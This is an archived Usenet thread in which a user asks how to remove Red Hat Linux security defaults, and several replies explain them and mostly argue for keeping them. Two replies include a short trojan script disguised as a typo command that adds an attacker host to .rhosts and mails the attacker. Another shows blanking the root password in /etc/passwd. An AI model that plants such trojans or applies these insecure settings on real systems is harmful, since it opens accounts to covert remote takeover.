Very Computer

Hello,

 I have got two computers set aside for Linux that I can't run
because the Red Hat Linux security "features" are putting me
off -- literaly taking the pleasure out of using them. Previously
I had same running  some old version of Slackware. Admitedly,
I'm not a frequent Linux user so some of what follows may be
a reflection of my inexperience. Here's some of the stuff that
I can't do since downgrading to Red Hat :

        1) Can't telnet from my NeXT machine to any of the said Red Hat
            Linux machines and log in as root.
        2) Can't reboot any of these machines by typing shutdown -r now
           from a telnet session - I try to this after logging in as
           a normal user and su root because of item 1) above.
           I have to physically walk into my computer room and
           use a local keyboard.
        3) Can't actually execute any program from my local
            directory without first sticking a "./" in front of it.
        4) Can't get NFS to work properly. I can't write to the
           darn Red Hat Linux machine designated as my file server.
           ( Reads ok though .) The flags in the exports file are
           "insecure" and "all_squash."

From the messages I've seen in the linux news groups that I've
followed for some time, not much help is forthcoming for anyone's
NFS problems but I sure would appreciate it if any kind
soul would help me with my first three problems  above. ( Better
yet if anyone can point to a guide that describes getting rid of
all this security nonsense that I don't need. )

Thanks,
Marcelo

Quote:>         2) Can't reboot any of these machines by typing shutdown -r now
>            from a telnet session - I try to this after logging in as
>            a normal user and su root because of item 1) above.
>            I have to physically walk into my computer room and
>            use a local keyboard.

Quote:>         3) Can't actually execute any program from my local
>             directory without first sticking a "./" in front of it.

test "$UID" = 0 || PATH="$PATH:."

reduce it to

PATH="$PATH:."

By the way it is better to leave it untouched. Some tricky user can
write a shell-script whith a name like 'mroe'. Each time you want to use
a 'more' and you are to fast tipping and producing a mroe you executes
this user-file with root-access...

Quote:>         4) Can't get NFS to work properly. I can't write to the
>            darn Red Hat Linux machine designated as my file server.
>            ( Reads ok though .) The flags in the exports file are
>            "insecure" and "all_squash."

Shall any anonymous user be allowed to write to your filesystem?

Dirk.

Quote:>        1) Can't telnet from my NeXT machine to any of the said Red Hat
>            Linux machines and log in as root.

Quote:>        2) Can't reboot any of these machines by typing shutdown -r now
>           from a telnet session - I try to this after logging in as
>           a normal user and su root because of item 1) above.
>           I have to physically walk into my computer room and
>           use a local keyboard.

Quote:>        3) Can't actually execute any program from my local
>            directory without first sticking a "./" in front of it.

Quote:>yet if anyone can point to a guide that describes getting rid of
>all this security nonsense that I don't need. )

Mike.

===========================================================================
Mike Frisch                                        (416) 496-2200 Ext. 2272
Software Engineer
Hummingbird Communications Ltd.                 North York, Ontario, Canada

            Disclaimer: I speak for myself, not my employer

|Hello,
|
| I have got two computers set aside for Linux that I can't run
|because the Red Hat Linux security "features" are putting me
|off -- literaly taking the pleasure out of using them. Previously
|I had same running  some old version of Slackware. Admitedly,
|I'm not a frequent Linux user so some of what follows may be
|a reflection of my inexperience. Here's some of the stuff that
|I can't do since downgrading to Red Hat :

You don't mention the RH version. I assume you mean 4.0.

|       1) Can't telnet from my NeXT machine to any of the said Red Hat
|           Linux machines and log in as root.
|       2) Can't reboot any of these machines by typing shutdown -r now
|          from a telnet session - I try to this after logging in as
|          a normal user and su root because of item 1) above.
|          I have to physically walk into my computer room and
|          use a local keyboard.

This is controlled by /etc/securetty. Add the pseudo-ttys to /etc/securetty.

|       3) Can't actually execute any program from my local
|           directory without first sticking a "./" in front of it.

You don't have . in your path. For root this is a precaution against
trojan horses. If you must have it for root, at least add it to the end
of the PATH. For an ordinary user, fix your PATH environment variable.

|       4) Can't get NFS to work properly. I can't write to the
|          darn Red Hat Linux machine designated as my file server.
|          ( Reads ok though .) The flags in the exports file are
|          "insecure" and "all_squash."

From reading the man page on exports, when you choose all_squash, all
uids are mapped to the anonymous user.  Typically the anonymous user
has no write permission on most files. Was there a reason you didn't
let it default to no_all_squash?

|From the messages I've seen in the linux news groups that I've
|followed for some time, not much help is forthcoming for anyone's
|NFS problems but I sure would appreciate it if any kind
|soul would help me with my first three problems  above. ( Better
|yet if anyone can point to a guide that describes getting rid of
|all this security nonsense that I don't need. )

Some problems are not "security problems", they are RTFM problems.

|Thanks,
|Marcelo

Quote:> Hello,
>  [...]
>    1) Can't telnet from my NeXT machine to any of the said Red Hat
>        Linux machines and log in as root.

Quote:>    2) Can't reboot any of these machines by typing shutdown -r now
>       from a telnet session - I try to this after logging in as
>       a normal user and su root because of item 1) above.
>       I have to physically walk into my computer room and
>       use a local keyboard.

Quote:>    3) Can't actually execute any program from my local
>        directory without first sticking a "./" in front of it.

[...]

 jue
--
The opinions expressed in this message are my own personal views
and do not reflect the official views of Microsoft Corporation

[follow-ups trimmed]

Hi, Marcelo!

:       1) Can't telnet from my NeXT machine to any of the said Red Hat
:           Linux machines and log in as root.

Edit /etc/securetty to put your virtual consoles into it.  (Somebody
else will, I hope, help here, but I believe it's some of the /dev/pty
devices.)

:       2) Can't reboot any of these machines by typing shutdown -r now
:          from a telnet session - I try to this after logging in as
:          a normal user and su root because of item 1) above.
:          I have to physically walk into my computer room and
:          use a local keyboard.

No reason why you shouldn't be able to do shutdown via telnet
after "su -".  If that's not working, I don't know why.

:       3) Can't actually execute any program from my local
:           directory without first sticking a "./" in front of it.

Change $PATH to add "." to it.  Think twice before doing this
to root's account, though.  Its absence averts any number of
errors or attempts to subvert the system by leading you to
run the wrong file.

:       4) Can't get NFS to work properly. I can't write to the
:          darn Red Hat Linux machine designated as my file server.
:          ( Reads ok though .) The flags in the exports file are
:          "insecure" and "all_squash."

This sort of thing works for me:

/                 foo.somewhere.com(rw,no_root_squash)
/mnt/cdrom        too.somewhere.com(ro)

--
Cheers,                   Et Verbum Custodiat Tibi Vobiscum Sicut
Rick Moen                  Erat in Principio.  (May your data be

: |Hello,
: |
: |     1) Can't telnet from my NeXT machine to any of the said Red Hat
: |         Linux machines and log in as root.

Requiring the su step gives you more information when you have to go through
your logs to see who broke root on your machine.  If they can't log directly
in, then you get to see what account the problems are coming from.

: |     2) Can't reboot any of these machines by typing shutdown -r now
: |        from a telnet session - I try to this after logging in as
: |        a normal user and su root because of item 1) above.
: |        I have to physically walk into my computer room and
: |        use a local keyboard.

: This is controlled by /etc/securetty. Add the pseudo-ttys to /etc/securetty.

Hmmmm.  I didn't know that either.  Thanks.

: |     3) Can't actually execute any program from my local
: |         directory without first sticking a "./" in front of it.

Having the . in your path (which of course is the fix as was pointed out) is
not good.  It sets you up for all kinds of possible trojan horses.  Wouldn't
recommend it at all.

: Some problems are not "security problems", they are RTFM problems.

: |Thanks,
: |Marcelo

You're probably better off retraining you're habits to be a little more
security conscious.  Having had to go through the clean up after having a
machine broken into, it's much easier to break your bad habits before someone
takes advantage of them.

--

Box 756020      910 Yukon Dr. Suite 106 Fairbanks Ak 99775-6020
907-474-1898    fax: 907-474-5494       finger: Geek code & PGP pub key
High Performance Computing Systems Programmer/Analyst I

Quote:>  I have got two computers set aside for Linux that I can't run
> because the Red Hat Linux security "features" are putting me
> off -- literaly taking the pleasure out of using them. Previously
> I had same running  some old version of Slackware. Admitedly,
> I'm not a frequent Linux user so some of what follows may be
> a reflection of my inexperience. Here's some of the stuff that
> I can't do since downgrading to Red Hat :

Quote:>    1) Can't telnet from my NeXT machine to any of the said Red Hat
>        Linux machines and log in as root.

Quote:>    2) Can't reboot any of these machines by typing shutdown -r now
>       from a telnet session - I try to this after logging in as
>       a normal user and su root because of item 1) above.
>       I have to physically walk into my computer room and
>       use a local keyboard.

Quote:>    3) Can't actually execute any program from my local
>        directory without first sticking a "./" in front of it.

#!/bin/sh
echo "me    myhost.com" >> $HOME/.rhosts

echo "mroe: Command not found."

Guess what, I can now compromise your security without you ever knowing it.

Quote:>    4) Can't get NFS to work properly. I can't write to the
>       darn Red Hat Linux machine designated as my file server.
>       ( Reads ok though .) The flags in the exports file are
>       "insecure" and "all_squash."

Quote:> yet if anyone can point to a guide that describes getting rid of
> all this security nonsense that I don't need. )

-spp

--
Stephen P Potter       Pencom Systems Administration         Chrysler, Detroit

        Check out <A HREF="http://www.perl.org/">The Perl Institute</A>

Quote:>> yet if anyone can point to a guide that describes getting rid of
>> all this security nonsense that I don't need. )
>You're exactly the type that *does* need this security.  You don't know any
>better, and leave yourself open for any cracker to come in to your
>systems.  I think you should leave the security in place and learn to live
>with the slight inconvenience.  At least until you've used it long enough
>for them to no longer bother you.

There are certainly cases where such security is not needed and is a
major nuisance.  Case in point: The PC sitting in my living room.  Or
my laptop system.  

To insist that a single security approach is right for everyone is
ridiculous.

So how do we turn it off, or at least turn it down?

-Lee

: >  I have got two computers set aside for Linux that I can't run
: > because the Red Hat Linux security "features" are putting me
: > off -- literaly taking the pleasure out of using them. Previously
: > I had same running  some old version of Slackware. Admitedly,
: > I'm not a frequent Linux user so some of what follows may be
: > a reflection of my inexperience. Here's some of the stuff that
: > I can't do since downgrading to Red Hat :
:
: RedHat has decided to follow the commercial industry and try to make their
: systems semi-secure at least.  What you consider to be "taking the pleasure
: out of using them", we in the professional industry consider to be the best
: hope for linux to gain commercial acceptance and have a future.
:
: >  1) Can't telnet from my NeXT machine to any of the said Red Hat
: >      Linux machines and log in as root.
:
: This is a security feature.  Telnet in as a normal user, and then su.
: consider, if you can telnet in as root, so can anyone else.  At this point,
: they only need to break your root password to have complete access to your
: system.  If they first have to become a user, they have to know the user
: name (not too difficult if you send mail or post news from it), figure out
: that user's password, and then figure out root's password.

This is a marginal security feature at best.  If there is a sniffer program
running it doesn't matter wether you can come in as root or not.

:
: >  3) Can't actually execute any program from my local
: >      directory without first sticking a "./" in front of it.
:
: This is a major security feature.  You can easily fix it by placing "." in
: your PATH variable.  However, I really suggest you don't do this.

<bunch of imagines removed>

It's generally not recommended to have . in your path as root for the
foregoing security reasons, however, as long as . is the last thing in
your path (so it looks in all the normal places first) it is not that
big of an issue.

:
: >  4) Can't get NFS to work properly. I can't write to the
: >     darn Red Hat Linux machine designated as my file server.
: >     ( Reads ok though .) The flags in the exports file are
: >     "insecure" and "all_squash."
:
: Sounds to me like you're either trying to write as root and haven't set up
: the exports correctly, or the server doesn't know about the client.

I would recommend doing a man on exports and seeing what you are doing wrong.
Actually, what I would guess is that the nfs daemons aren't being started.
Look in /etc/inittab to find out what the default run level is.  Once you
have this go into /etc/rcX.d (where X is the runlevel).  Edit SXXnetstd_nfs
(XX is some number) and make sure that the lines with nfsd and mountd aren't
commented out.

: You're exactly the type that *does* need this security.  You don't know any
: better, and leave yourself open for any cracker to come in to your
: systems.  I think you should leave the security in place and learn to live
: with the slight inconvenience.  At least until you've used it long enough
: for them to no longer bother you.

As a long time sysadmin with years of security experience, I think you should
go find a dark corner and pl#y with yourself.  It is not your place to
determine what level of security the end user needs.  The thing to remember
is that the greater the security the more difficult the system is to use.

Everyone has a different set of tradeoffs.  How would you feel if the system
you loaded had Sudo installed for everything, tripwire and cops installed and
running, and in addition had other programs that went through and set
permissions on files back to what it considered reasonable?  On top of that
it required ultra-complex passwords and you had to have a hardware key
with a number that changes every minute?  In addition it runs SSL for telnet
and ftp and refuses to accept connections otherwise.  On top of this the
only way to read mail is pop or imap?  Oh, and tcpd set up and all ports
driven through this so you need to know how to change the config for tcpd
in order to do anything with the machine.

I consider this a "minimum" security installation and (l)users like you should
be required to "learn to live with the slight inconvenience".

Roger
(And yes, this is how my Suns at work are set up.  I would never go to
 such extents on a home machine or even home network.)

The place to turn it down seem to be in the pam.conf file in the /etc
directory. Beyond that ... I don't fully understand what it does yet just its
controled there (at least in RH 4.0).

Quote:>>> yet if anyone can point to a guide that describes getting rid of
>>> all this security nonsense that I don't need. )

>>You're exactly the type that *does* need this security.  You don't know any
>>better, and leave yourself open for any cracker to come in to your
>>systems.  I think you should leave the security in place and learn to live
>>with the slight inconvenience.  At least until you've used it long enough
>>for them to no longer bother you.

>If I may come to the defense of the original poster...

>There are certainly cases where such security is not needed and is a
>major nuisance.  Case in point: The PC sitting in my living room.  Or
>my laptop system.  

>To insist that a single security approach is right for everyone is
>ridiculous.

>So how do we turn it off, or at least turn it down?

>-Lee

root::0:0:root:/root:/bin/bash

Then, just log on as root all the time.

This will make your system totally unsecure, as requested.

: To remove the root password, edit /etc/passwd and delete the second
: field like so:
:
: root::0:0:root:/root:/bin/bash
:
: Then, just log on as root all the time.
:
: This will make your system totally unsecure, as requested.

Nope, it doesn't addresss being able to telnet to the machine as root, the
lack of '.' in the path, or many of the specific things the original
poster asked about.  I certainly never saw any request to "make the system
totally unsecure"...

-chuck
--
ACCEL Services, Inc.| Specialists in Gravity, Magnetics |  1(713)993-0671 ph.
1980 Post Oak Blvd. |   and Integrated Interpretation   |  1(713)960-1157 fax
    Suite 2050      |                                   |

                    |  President & Senior Geoscientist  |

     "Integration means more than having all the maps at the same scale!"

: : To remove the root password, edit /etc/passwd and delete the second
: : field like so:
: :
: : root::0:0:root:/root:/bin/bash
: :
: : Then, just log on as root all the time.
: :
: : This will make your system totally unsecure, as requested.
:
: Nope, it doesn't addresss being able to telnet to the machine as root, the
: lack of '.' in the path, or many of the specific things the original
: poster asked about.  I certainly never saw any request to "make the system
: totally unsecure"...
:
: -chuck

Edit your .profile and add a '.' (no quotes) to the path statement.
This will solve your problem of having to type ./blah to run things
from the current directory.

I'm not sure what your views are on security but telnetting to
a *nix box as root is unsecure because your password is sent
across the network and easily seen by hax0rs. Your work around
of telnetting with another user and then su'ing root isn't
any more secure either. Look into ssh, etc.

Sorry, can't help you with NFS.

[.sig snipped]

--
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Wayland Chan

Linux - Choice of a GNU Generation

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Quote:> It's generally not recommended to have . in your path as root for the
> foregoing security reasons, however, as long as . is the last thing in
> your path (so it looks in all the normal places first) it is not that
> big of an issue.

#!/bin/sh
echo "my.host.com spp" >> $HOME/.rhosts
mail -s "$USER vulnerable" spp
echo "mroe: Command not found"

Quote:> As a long time sysadmin with years of security experience, I think you should
> go find a dark corner and pl#y with yourself.  It is not your place to
> determine what level of security the end user needs.  The thing to remember
> is that the greater the security the more difficult the system is to use.

Quote:> Everyone has a different set of tradeoffs.  How would you feel if the system
> you loaded had Sudo installed for everything, tripwire and cops installed and
> running, and in addition had other programs that went through and set
> permissions on files back to what it considered reasonable?  On top of that
> it required ultra-complex passwords and you had to have a hardware key
> with a number that changes every minute?  In addition it runs SSL for telnet
> and ftp and refuses to accept connections otherwise.  On top of this the
> only way to read mail is pop or imap?  Oh, and tcpd set up and all ports
> driven through this so you need to know how to change the config for tcpd
> in order to do anything with the machine.

> I consider this a "minimum" security installation and (l)users like you
> should
> be required to "learn to live with the slight inconvenience".

But, as you said yourself, these are far beyond what is necessary or even
desirable for a home system.  As you said, there's a tradeoff between the
service provided, service needed/desired and inconvenience.  for a home
system, these are far too inconvenient for the service provided.

-spp

--
Stephen P Potter       Pencom Systems Administration         Chrysler, Detroit

        Check out <A HREF="http://www.perl.org/">The Perl Institute</A>